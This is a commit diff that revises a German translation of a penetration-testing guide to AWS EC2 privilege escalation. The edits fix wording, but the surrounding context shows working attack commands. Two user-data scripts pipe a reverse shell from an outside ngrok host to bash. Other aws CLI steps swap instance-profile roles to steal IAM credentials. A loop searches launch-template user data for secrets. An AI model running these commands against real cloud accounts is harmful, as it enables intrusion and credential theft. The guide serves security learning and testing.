Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-02-06 02:14:52 +00:00
parent 5861e887ed
commit 88fd0f8895

View File

@@ -30,11 +30,11 @@ echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
Sei vorsichtig mit GuardDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -59,7 +59,7 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Um zu lernen, wie man **ECS-Dienste dazu zwingt,** auf dieser neuen EC2-Instanz ausgeführt zu werden, siehe:
Um zu lernen, wie man **ECS-Dienste in dieser neuen EC2-Instanz ausführt**, siehe:
{{#ref}}
aws-ecs-privesc.md
@@ -72,7 +72,7 @@ Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:Re
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen **die IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen zu stehlen.\
Da ein Instanzprofil nur 1 Rolle haben kann, müssen Sie auch **`iam:RemoveRoleFromInstanceProfile`** haben, wenn das Instanzprofil **bereits eine Rolle hat** (häufiger Fall).
Da ein Instanzprofil nur 1 Rolle haben kann, müssen Sie, wenn das Instanzprofil **bereits eine Rolle hat** (häufiger Fall), auch **`iam:RemoveRoleFromInstanceProfile`** benötigen.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -86,7 +86,7 @@ Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfer
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und über zusätzliche Berechtigungen oder einen bestimmten Instanzprofilstatus verfügen).
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
@@ -121,7 +121,7 @@ aws ec2 request-spot-instances \
Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanzen ändern. Unter ihnen kann er **die Benutzerdaten ändern**, was bedeutet, dass er die Instanz **beliebige Daten ausführen** lassen kann. Dies kann verwendet werden, um eine **Rev Shell zur EC2-Instanz** zu erhalten.
Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher sind die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** erforderlich.
Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, die **neueste** oder die **Standardversion** zu verwenden, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev Shell ausführen.
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -180,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Startkonfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoskalierungsgruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -200,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der in der Launch-Konfiguration oder im Launch-Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -235,7 +235,7 @@ Dieser Weg ist nicht besonders nützlich für privesc, da man einen Benutzername
### `describe-launch-templates`,`describe-launch-template-versions`
Da Launch-Vorlagen versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Vorlagen:
Da Launch-Templates versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do